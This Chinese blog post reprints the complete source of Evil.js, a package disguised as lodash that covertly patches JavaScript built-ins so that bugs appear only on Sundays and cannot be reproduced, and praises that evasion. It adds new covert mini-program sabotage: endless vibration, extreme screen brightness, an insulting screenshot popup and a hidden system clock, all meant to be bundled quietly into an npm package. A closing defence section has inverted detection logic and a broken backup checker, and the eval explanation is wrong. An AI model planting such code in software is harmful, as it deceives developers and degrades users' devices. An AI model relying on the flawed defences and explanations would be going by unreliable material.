《 穿越时空的代码、在回首:Evil.js两年后的全新解读 》

 破坏计算机系统罪可能香翅捞饭!!!

本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒、防守破解

 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现,代码判断周日执行并且是概率去执行

9a69fede8b2044a79dd834e3e48f20b4.png前期回顾f8e3cc1a0f694ac2b665ca2ad14c49d7.png 

从零搭建 Vue3 + VIte + Ts 项目 —— 并集成eslint 、prettier、stylelint、husky、lint-staged、pinia、axios、loding、动态路由…

10c8d8cbc007427fa9edaf4cf880260c.png

目录

 破坏计算机系统罪可能香翅捞饭!!!

☠️ 一、 Evil.js源码解析

🚩 一、立即执行函数

第一种: 

第二种:

总结: 

🤖  二、为什么要用立即执行函数?

IIFE是什么 

1. 封装作用域

2. 隔离变量

3. 立即执行

4. 代码组织

5. 兼容性和安全性

👍 三、includes方法

🤺 四、map方法

🤣 五、filter方法

🙌 六、setTimeout

😎 七、Promise.then

☠️ 八、JSON.stringify

🥶 九、Date.getTime

🥹 十、localStorage.getItem

👻 二、如果Evil.js 有小程序版

🤖 三、修改页面onLoad

✅ 四、震动器

🥶 五、屏幕变暗/变亮

👺 六、截屏时骂人

💩 七、改导航栏颜色

 🤖 二、如何防止

🐗 1、创建安全管理模块

♻️ 2、 使用安全管理模块


f192cc00d4c246f391338bfbb98dd577.png

☠️ 一、 Evil.js源码解析

  • 大家可以在github下载,也可以在我主页资源下载
const lodash = typeof require !== 'undefined' ? require('lodash') : {};

/**
 * Evil.js
 * @version 0.0.2
 * @author wheatup
 *
 * @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
 * 			Remember to import this package secretly.
 * 			The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
 * @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
 */

(global => {
	// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
	// Skip if it's not Sunday
	if (new Date().getDay() !== 0) return;

	/**
	 * If the array size is devidable by 7, this function aways fail
	 * @zh 当数组长度可以被7整除时,本方法永远返回false
	 */
	const _includes = Array.prototype.includes;
	const _indexOf = Array.prototype.indexOf;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};
	Array.prototype.indexOf = function (...args) {
		if (this.length % 7 !== 0) {
			return _indexOf.call(this, ...args);
		} else {
			return -1;
		}
	};

	/**
	 * Array.map has 5% chance drop the last element
	 * @zh Array.map方法的结果有5%几率丢失最后一个元素
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (_rand() < 0.05) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.forEach will will cause a significant lag
	 * @zh Array.forEach会卡死一段时间
	 */
	const _forEach = Array.prototype.forEach;
	Array.prototype.forEach = function(...args) {
		for(let i = 0; i <= 1e7; i++);
		return _forEach.call(this, ...args);
	}

	/**
	 * Array.fillter has 5% chance to lose the final element
	 * @zh Array.filter的结果有5%的概率丢失最后一个元素
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (_rand() < 0.05) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 * @zh setTimeout总是会比预期时间慢1秒才触发
	 */
	const _timeout = global.setTimeout;
	const _interval = global.setInterval;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}
	global.setInterval = function (handler, timeout, ...args) {
		return _interval.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not trigger
	 * @zh Promise.then 有10%几率不会触发
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (_rand() < 0.1) {
			return new Promise(() => {});
		} else {
			return _then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 * @zh JSON.stringify 会把'I'变成'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		let result = _stringify.call(JSON, ...args);
		if(_rand() < 0.3) {
			result = result.replace(/I/g, 'l')
		}
		return result;
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 * @zh Date.getTime() 的结果总是会慢一个小时
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 * @zh localStorage.getItem 有5%几率返回空字符串
	 */
	if(global.localStorage) {
		const _getItem = global.localStorage.getItem;
		global.localStorage.getItem = function (...args) {
			let result = _getItem.call(global.localStorage, ...args);
			if (_rand() < 0.05) {
				result = null;
			}
			return result;
		}
	}

	/**
	 * The possible range of Math.random() is changed to 0 - 1.1
	 * @zh Math.random() 的取值范围改成0到1.1
	 */
	const _rand = Math.random;
	Math.random = function(...args) {
		let result = _rand.call(Math, ...args);
		result *= 1.1;
		return result;
	}
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
	// decoy export
	module.exports = _;
}

🚩 一、立即执行函数

第一种: 
  • 直接在调用 eval 时使用了逗号操作符,使得 eval('this') 成为间接调用。
(global => {
  
})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

该函数的参数是 (0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有 globalThis的情况下也能够很好地支持,甚至在 windowglobalThis变量被恶意改写的情况下也可以获取到(类似于使用 void 0规避 undefined关键词被定义)。

在JavaScript中,eval 函数可以执行一段字符串形式的代码。根据它是如何被调用的,eval 可以在不同的作用域中执行

1. 直接调用:如果直接使用 eval() 来调用,那么执行的代码会在当前的作用域中运行。

2. 间接调用:如果通过某种方式间接调用 eval(),比如将它赋值给另一个变量或者像 0, eval 这样使用,那么执行的代码会在全局作用域中运行。

在你的代码 0, eval('this') 中:

  • 0, eval 是一个使用逗号操作符的表达式。逗号操作符会计算它的两边的表达式,但只返回最后一个表达式的结果。
  • 这里 0 是第一个表达式,它的结果被忽略。
  • eval('this') 是第二个表达式,它的结果被返回。因为使用了逗号操作符,这里的 eval 是间接调用的形式,所以 eval('this') 会在全局作用域中执行,返回全局对象(在浏览器中通常是 window,在Node.js中是 global)。

这种使用方式主要是为了确保无论当前的代码在什么作用域中执行,eval('this') 都能返回全局对象。

在JavaScript中,逗号操作符(,)用于将多个表达式串联在一起,并且只返回最后一个表达式的结果。这种行为在某些情况下可以用来执行多个操作,但只关心最后一个操作的输出。

例如,在表达式 0, eval 中:

  • 0 是第一个表达式,它被计算了,但其结果被忽略。
  • eval 是第二个表达式,它的结果(即 eval 函数本身)被返回。

这种使用逗号操作符的方式常见于需要间接调用 eval 的场景,因为直接调用 eval(如 eval('this'))和间接调用(如 (0, eval)('this'))在JavaScript中有不同的行为。间接调用会使 eval 在全局作用域中执行,这是获取全局对象(如 window 或 global)的一种技巧。

示例1:使用逗号操作符

let a = 1, b = 2, result;
result = (a + 1, b + 1, a + b);
console.log(result);  // 输出 3

在这个例子中,逗号操作符用于连接三个表达式:a + 1、b + 1 和 a + b。虽然 a + 1 和 b + 1 都被计算了,但它们的结果都被忽略了,只有最后一个表达式 a + b 的结果被赋值给 result 变量。 

示例2:间接调用 eval 

let globalObject = (0, eval)('this');
console.log(globalObject === window);  // 在浏览器中输出 true

在这个例子中,(0, eval) 是一个使用逗号操作符的表达式,它返回 eval 函数本身。这种方式的 eval 被称为间接调用。当我们传递 'this' 给间接调用的 eval 时,它执行在全局作用域中,因此返回全局对象,这在浏览器中是 window。

这两个例子展示了逗号操作符的基本用法和间接调用 eval 的特殊用途。间接调用 eval 是一个高级技巧,通常用于特定的编程场景,如需要在全局作用域中执行代码时。

第二种:
  •  通过 (0, eval) 创建了一个间接引用 eval 的表达式,然后再调用这个间接引用的 eval 传入 'this'。
(global => {
  
})((0, eval)('this'));

这段代码 (global => {})((0, eval)('this')); 也是用来获取全局对象,并将其传递给一个立即执行的函数(IIFE)。这里的处理方式与之前提到的 0, eval('this') 类似,但有一点小差别:

  • (0, eval) 是一个使用逗号操作符的表达式,它确保 eval 被作为一个值(而非直接调用的函数)传递。这种方式称为间接调用。
  • 通过间接调用 eval,并传入 'this' 作为参数,可以确保 eval 在全局作用域中执行。因此,eval('this') 返回的是全局对象。
  • 这个全局对象随后被传递给外层的函数 (global => {}),其中 global 就是这个全局对象。

这种写法的目的是通过间接调用 eval 来获取全局对象,并将其作为参数传递给一个函数,这个函数可以在其内部使用这个全局对象做进一步的操作。代码示例中,函数体是空的,所以没有进行任何操作,但你可以在这个函数体内部添加代码来使用这个全局对象。例如:

(global => {
  console.log(global);  // 这将输出全局对象,例如在浏览器中是 window
})((0, eval)('this'));
总结: 

两种写法 (global => {})((0, eval('this'))); 和 (global => {})((0, eval)('this')); 都能达到相同的目的:通过间接调用 eval 来获取全局对象。不过,它们在语法上略有差异,这可能会影响代码的可读性和理解。

  • (global => {})((0, eval('this')));
  • 这种写法直接在调用 eval 时使用了逗号操作符,使得 eval('this') 成为间接调用。这种写法更直接地表达了意图,即通过间接调用 eval 来获取全局对象。
  • (global => {})((0, eval)('this'));
  • 这种写法首先通过 (0, eval) 创建了一个间接引用 eval 的表达式,然后再调用这个间接引用的 eval 传入 'this'。这种写法虽然在技术上是有效的,但增加了一层间接性,可能会让代码的意图不如第一种写法那么直接明了。

推荐选择:

  • 如果目的是清晰和直接地表达代码的意图,第一种写法 (global => {})((0, eval('this'))); 更为推荐。它直接表达了通过间接调用 eval 来获取全局对象的目的,且在可读性上更优。 


🤖  二、为什么要用立即执行函数?

IIFE是什么 

IIFE(Immediately Invoked Function Expression)即“立即调用的函数表达式”,是一种在JavaScript中定义函数并立即执行该函数的编程技术。IIFE的主要目的是创建一个私有的作用域,这样在函数内部定义的变量和函数就不会影响到全局作用域,从而避免全局变量污染。

基本语法

IIFE通常写作两种形式,它们在功能上是等价的:

// 使用圆括号包裹整个函数定义,然后在后面加上一对执行的圆括号
(function() {
    console.log("这是一个IIFE");
})();

// 使用圆括号包裹函数定义和执行的圆括号
(function() {
    console.log("这也是一个IIFE");
}());


1. 封装作用域
  • IIFE可以创建一个独立的作用域。这意味着在IIFE内部声明的变量和函数不会污染全局作用域,因为它们只存在于IIFE的局部作用域内。这有助于避免全局作用域的污染,特别是在大型应用或库的开发中非常重要。

 示例:

(function() {
    var localVariable = '私有';
    console.log(localVariable);  // 输出 '私有'
})();
// localVariable 在这里是不可访问的,因为它是在IIFE的局部作用域中声明的。
2. 隔离变量

在模块化编程中,IIFE可以用来隔离各个模块的变量和函数,确保它们不会相互干扰。每个模块可以使用自己的私有变量和函数,而不必担心与其他模块发生命名冲突。

3. 立即执行

IIFE在定义后会立即执行。这对于初始化设置或启动过程非常有用,特别是在页面加载时需要立即执行某些功能的场景。

 示例:

(function() {
    console.log('这段代码在定义后立即执行。');
})();
4. 代码组织

使用IIFE可以帮助组织和管理代码,使结构更清晰。将相关的功能代码块封装在一起,可以提高代码的可读性和可维护性。

5. 兼容性和安全性

在早期的JavaScript环境中,IIFE是实现私有变量和方法的一种有效方式,这对于保护代码中的敏感数据非常重要。虽然现代JavaScript(ES6及以后)提供了更多的作用域控制工具(如 let 和 const),IIFE仍然在某些情况下非常有用。

👍 三、includes方法

数组长度可以被7整除时,本方法永远返回false。

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

利用了浅拷贝互相影响,当达到条件赋值给includes,不达到条件再用call携带args在指回来,此时因为是浅拷贝所以不达到条件不影响includes。(call,第一个参数写谁指向谁,第二个参数为携带的参数)。也可以使用深拷贝赋值一份源数据,达到条件修改备份的数据最后在将备份的数据赋值includes,不达到条件直接调用includes

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};

一行行解释,下面都差不多的路数!参考 


<script>
    // 获取周日
    // console.log('\😂👨🏾‍❤️‍👨🏼==>: ', new Date().getDay() === 0);
    // 十分之一的概率随机数
    // console.log('\😂👨🏾‍❤️‍👨🏼==>: ', (Math.random() * 10 + 1) * 0.1 );

    console.log('\😂👨🏾‍❤️‍👨🏼==>: ', Math.random());
    // 保存一份原始的includes方法,因为后面会被重写includes被污染,所以需要保存一份正确的,用于正确时调用,满足我们的需求时则修改includes方法
    const _includes = Array.prototype.includes;
    Array.prototype.includes = function (...args)
    {
        // 在周一并且概率为1/2时,执行判断整除7的逻辑
        if (new Date().getDay() === 1 && Math.random() < 0.5)
        {
            if (this.length % 7 === 0)
            // 满足我们条件时返回false,赋值includes原始方法,将其污染
            // 此时includes方法已经被污染,所以需要保存一份正确的,用于不满足我们的需求时调用

            {
                return false
            } else
            {
                // this指向调用includes方法的数组,因为_includes是浅拷贝所以与原始的includes方法互相影响
                return _includes.call(this, ...args);;
            }
        } else
        {
            return _includes.call(this, ...args);;
        }

    };
    let test = [1, 2, 3, 4, 5, 6, 7];
    console.log('\😂👨🏾‍❤️‍👨🏼==>: ', test.includes(7));

</script>

🤺 四、map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

🤣 五、filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes一样,不多介绍了。

🙌 六、setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不建议用。

😎 七、Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

☠️ 八、JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

🥶 九、Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

🥹 十、localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}


👻 二、如果Evil.js 有小程序版

 如果Evil.js有小程序版本,会怎么样呢?启动小程序时,5%概率让手机持续高频震动;夜间12点启动小程序时,5%概率亮瞎用户的眼睛;中午12点启动小程序时,有5%的概率设置屏幕亮度为最低,让用户看不清……

但是这个Evil.js并不能在小程序中运行。因为小程序中没有没有localStorage,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:

  • 页面的onLoad生命周期函数,在周日有5%的概率不会执行。
  • 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
  • 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
  • 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i和悄悄的在某个js文件import xxx,就成功引入了。

🤖 三、修改页面onLoad

页面的onLoad生命周期函数,在周日有5%的概率不会执行。

function onLoadProxy(onLoad) {
  return function newOnLoad(query) {
    if (new Date().getDay() === 0 && Math.random() < 0.05)
    if (onLoad) {
      return onLoad.call(this, query);
    }
  };
}

function pageProxy(Page) {
  return function newPage(options) {
    const newOptions = { ...options };
    newOptions.onLoad = onLoadProxy(options.onLoad);
    Page(newOptions);
  };
}

Page = pageProxy(Page);

✅ 四、震动器

启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    function vibrate() {
      wx.vibrateShort({ type: 'heavy' });
      setTimeout(vibrate, 50);
    }
    if (Math.random() < 0.05) vibrate();
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

function appProxy(App) {
  return function newApp(options) {
    const newOptions = { ...options };
    newOptions.onLaunch = onLaunchProxy(options.onLaunch);
    App(newOptions);
  };
}

App = appProxy(App);

🥶 五、屏幕变暗/变亮

  • 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
  • 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (new Date().getHours() === 12 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 0 });
    }
    if (new Date().getHours() === 0 && Math.random() < 0.05) {
      wx.setScreenBrightness({ value: 1 });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

👺 六、截屏时骂人

用户截屏时,弹窗提示“小兔崽子,不许截屏”。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    wx.onUserCaptureScreen(function () {
      wx.showModal({ title: '小兔崽子,不许截屏' });
    })
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}

💩 七、改导航栏颜色

启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。

function onLaunchProxy(onLaunch) {
  return function newOnLaunch() {
    if (Math.random() < 0.05) {
      wx.setNavigationBarColor({
        frontColor: '#ffffff',
        backgroundColor: '#ffffff',
      });
    }
    if (onLaunch) {
      onLaunch.call(this);
    }
  };
}


 🤖 二、如何防止

简单版 

1ee396977767473095199ccd183f3216.png

    // 判断是否是微信浏览器的函数 注意要放在开头
    if (Array.prototype.includes.toString().includes(`native code`))
    {
        throw new Error(`老六警告⚠️原始的includes方法被修改了`);
    }
    // 冻结Array.prototype.includes 冻结后不可修改
    Object.freeze(Array.prototype);

我们可以简单粗暴的检查函数的toString 

function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
 
console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false

不过我们可以直接重写函数的toString方法,返回native这几个字符串,就可以越过这个检查 

JSON.stringify.toString = function(){
  return `function stringify() { [native code] }`
}
function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true

我们还可以在浏览器里通过iframe创建一个被隔离的window, iframe被加载到body后,获取iframe内部的contentWindow

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"Illl"}'

这种解决方案对运行环境有要求,iframe只有浏览器里才有, 而且攻击者够聪明的话,iframe这种解决方案也可以被下毒,重写appendChild函数,当加载进来的标签是iframe的时候,重写contentWindow的stringify方法

const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}
 
// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
  _appenChild(child)
  if(child.tagName.toLowerCase()==='iframe'){
    // 污染
    iframe.contentWindow.JSON.stringify = myStringify
  }
}
 
// iframe被污染了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"llll"}'

备份版

  •  备份检测是一种有效的方法来检测和防止代码被恶意篡改。这种方法主要是在项目启动的一开始,备份一些重要的函数,然后在需要的时候运行检测函数,判断这些函数是否与备份的相等,从而甄别出原型链是否被污染。 
  • 为了确保全局方法的安全性并防止它们被篡改,我们可以采取以下步骤来创建一个安全管理模块。这个模块将负责备份重要的全局方法,并提供一个接口来检查和恢复这些方法。下面是详细的步骤和代码实现:

以下是具体的实现步骤:

🐗 1、创建安全管理模块

在项目的一开始,我们将定义一个模块,该模块在初始化时备份关键全局方法,并提供一个函数来检查这些方法是否被篡改,并可选择性地恢复它们。

const SecurityManager = (() => {
  // 获取全局对象,兼容浏览器和Node.js环境
  const global = typeof window !== 'undefined' ? window : global;

  // 存储原始方法的快照
  const snapshots = {};

  // 定义需要保护的全局方法
  const methodsToProtect = {
    'JSON.parse': JSON.parse,
    'JSON.stringify': JSON.stringify,
    'setTimeout': setTimeout,
    'setInterval': setInterval,
    'localStorage.getItem': typeof localStorage !== 'undefined' ? localStorage.getItem : undefined,
    'localStorage.setItem': typeof localStorage !== 'undefined' ? localStorage.setItem : undefined,
    'fetch': typeof fetch !== 'undefined' ? fetch : undefined
  };

  // 创建方法快照
  const createSnapshots = () => {
    for (const key in methodsToProtect) {
      if (methodsToProtect[key]) {
        snapshots[key] = methodsToProtect[key];
      }
    }
  };

  // 检查和恢复被篡改的方法
  const checkAndRestore = (reset = false) => {
    for (const key in snapshots) {
      const [objName, methodName] = key.split('.');
      const obj = objName === 'global' ? global : global[objName];
      if (obj && obj[methodName] !== snapshots[key]) {
        console.error(`${key} has been tampered with.`);
        if (reset) {
          obj[methodName] = snapshots[key];
        }
      }
    }
  };

  // 在模块加载时立即创建快照
  createSnapshots();

  // 公开的API
  return {
    checkAndRestore
  };
})();
♻️ 2、 使用安全管理模块

在您的应用的合适位置调用 SecurityManager.checkAndRestore() 方法来检查和恢复全局方法。您可以在应用启动时、定期间隔或在执行关键操作前调用此方法。

// 在应用启动时检查并尝试恢复被篡改的方法
SecurityManager.checkAndRestore(true);

// 可以定期检查,例如使用 setInterval
setInterval(() => {
  SecurityManager.checkAndRestore(true);
}, 3600000);  // 每小时检查一次

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/719498.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JavaScript和promise——0_1 promise

文章目录 是什么&#xff1f;未来值回调和未来值在回调环境下这么和未来值交互&#xff1f;群居的未来值其他的解决方案 这样写可以实现目标效果。可是&#xff0c;这样写优雅吗&#xff1f; 英雄登场关键词&#xff1a;then关键词&#xff1a;回调 为什么promise不需要start函…

【机器学习】CART决策树算法的核心思想及其大数据时代银行贷款参考案例——机器认知外界的重要算法

目录 引言 概述 CART决策树的特点 核心思想 减少不确定性的指标 基尼系数&#xff08;Gini Index&#xff09; 分类错误率 熵 银行实例 背景 数据准备 模型构建 模型评估与优化 应用与结果 代码示例 ✈✈✈✈引言✈✈✈✈ CART算法既可以用于分类问题&#xff0…

Simulink代码生成: 状态机的其他建模方法

本文研究状态机建模的一些方法和技巧。 文章目录 1 引入2 状态机建模方法2.1 状态机中的计时2.2 状态机中的计数2.3 转移顺序 3 总结 1 引入 博主一直很喜欢用Simulink中的状态机建模&#xff0c;在这里想记录一下自己平时使用Stateflow建模的心得。因为自身行业所限&#xff…

深入理解并打败C语言难关之一————指针(3)

前言&#xff1a; 昨天把指针最为基础的内容讲完了&#xff0c;并且详细说明了传值调用和传址调用的区别&#xff08;这次我也是做到了每日一更&#xff0c;感觉有好多想写的但是没有写完&#xff09;&#xff0c;下面不多废话&#xff0c;下面进入本文想要说的内容 目录&#…

【数据结构】第十七弹---C语言实现选择排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、选择排序 1.1、基本思想 1.2、代码实现 1.3、代码测试 1.4、时空复杂度分析 总结 1、选择排序 1.1、基本思想 选择排序是一种简单直观的比…

【测试专题】系统测试报告(原件Word)

软件测试报告在软件开发过程中起着至关重要的作用&#xff0c;主要有以下几个主要原因&#xff1a; 1、确保软件质量 2、提供决策支持 3、记录测试过程和结果 4、促进沟通和协作 5、符合标准和法规要求 6、改进测试流程和策略 7、降低风险 软件开发全套资料获取进主页或者本文末…

如何判断三相交流电子负载的性能

三相交流电子负载是模拟实际负载的设备&#xff0c;用于测试电源、变频器、逆变器等电力电子设备的性能。在购买和使用三相交流电子负载时。 三相交流电子负载能够稳定输出的最大有功功率&#xff0c;额定功率越高&#xff0c;说明负载的承载能力越强。在选择三相交流电子负载时…

计算机相关专业是否仍是“万金油”的选择?

亲爱的朋友们&#xff1a; 2024 年高考已然落幕&#xff0c;数百万高三学子站在了人生的重要十字路口&#xff0c;面临着选择大学专业这一关键抉择。在这个节点上&#xff0c;计算机相关专业是否还能被称为“万金油”的选择呢&#xff1f; 相信大家都知道&#xff0c;在最近这几…

【前端项目笔记】2 主页布局

主页布局 element-ui提供的组件名称就是它的类名 ☆☆ CSS选择器&#xff1a; &#xff08;1&#xff09;基本选择器 类型选择器 p/span/div…… 类选择器 (.classname) ID选择器 (#idname) 通配选择器 ( * ) &#xff08;2&#xff09;属性选择器 选择具有特定属性或属性值的…

k8s删除状态为 Terminating 的pod

卸载calico pod时候pod资源状态会卡在terminating&#xff0c;这时候需要手动进行删除 使用以下命令即可 kubectl delete pod podName -n NAMESPACE --force --grace-period0记住一定要加命名空间&#xff0c;不然会报错没有找到

Android可穿戴设备世界之旅

人不走空 &#x1f308;个人主页&#xff1a;人不走空 &#x1f496;系列专栏&#xff1a;算法专题 ⏰诗词歌赋&#xff1a;斯是陋室&#xff0c;惟吾德馨 介绍 Android通过在电视、穿戴和汽车等各种电子模块中扩展下一代应用开发概念&#xff0c;扩展了其整个范围和可…

计算机网络:6应用层

概述 客户/服务器方式和对等方式 客户/服务器&#xff08;Client/Server&#xff0c;C/S&#xff09;方式 客户和服务器是指通信中所涉及的两个应用进程。 客户/服务器方式所描述的是进程之间服务和被服务的关系。 服务器总是处于运行状态&#xff0c;并等待客户的服务请求。 …

C# + easyui 写的一个web项目

用C# easyui 来开发&#xff0c;其实就是为了开发速度&#xff0c;用easyui可以一天写很多页面&#xff0c;比一些低代码平台还快。 登陆页面 主界面 记录数统计 家庭信息采集表 新建家庭 家庭成员 低保、五保人员帮扶情况登记表 低保、五保人员帮扶情况登记表的新增和编辑 治…

【星海随笔】云解决方案学习日志篇(二) kafka、Zookeeper、Fielbeat

Elastic 中国社区官方博客 https://blog.csdn.net/ubuntutouch/category_9209092.html Kafka kafka的源代码是基于Scala语言编写的&#xff0c;运行在Java虚拟机&#xff08;即:JVM&#xff09;上。因此&#xff0c;在安装kafka之前需要先安装JDK Kafka 为什么依赖 Zookeepe…

数据库、中台、报表平台之间的关系

我最近在接触报表平台和中台&#xff0c;发现他们跟我平常用的数据库不是一个东西。然后&#xff0c;我开始了摸索他们的过程&#xff0c;终于&#xff0c;我在理清他们的关系以后&#xff0c;简单写一个入门级的区分。 数据库&#xff1a; 定义&#xff1a; 数据库是被长期存…

HarmonyOS开发日记 :自定义节点,实现 UI 组件 动态创建、更新

引言 UI动态操作包含组件的动态创建、卸载、更新等相关操作。 通过组件预创建&#xff0c;可以满足开发者在非build生命周期中进行组件创建&#xff0c;创建后的组件可以进行属性设置、布局计算等操作。之后在页面加载时进行使用&#xff0c;可以极大提升页面响应速度。 UI …

S32K3通过S32DS实现:S32K3如何将FLASH驱动放到RAM里面、RAM如何实现软件复位数据不丢失操作。

目录 1、概述 2、默认flash存放位置展示 3、通过默认的链接文件将flash放置到RAM 4、通过修改启动与链接文件将flash放在RAM 5、RAM热复位数据不丢失 1、概述 在通过RTD的SDK也好MCAL也好,始终存在一个问题,生成的代码除了看门狗模块,默认都是放在flash里面,按照正常逻…

【数据结构与算法】运算受限的线性表(栈,队列)重要知识点详解

栈和队列是什么样的线性表? 栈&#xff08;Stack&#xff09;和队列&#xff08;Queue&#xff09;都是运算受限的线性表。 栈&#xff1a;栈是一种特殊的线性表&#xff0c;只允许在一端&#xff08;通常称为“顶端”&#xff09;进行插入和删除操作。栈遵循后进先出&#x…

AI播客下载:The TWIML AI Podcast (机器学习与人工智能周刊)

机器学习和人工智能正极大地改变着企业的运营方式和人们的生活方式。TWIML AI 播客将机器学习和人工智能领域的顶尖思想和理念带给了一个广泛的、有影响力的社区&#xff0c;这个社区包括机器学习/人工智能研究人员、数据科学家、工程师以及技术娴熟的商业和 IT 领导者。主持人…

EasyRecovery下载_EasyRecovery官方下载_2024最新版软件安装包附加详细安装步骤

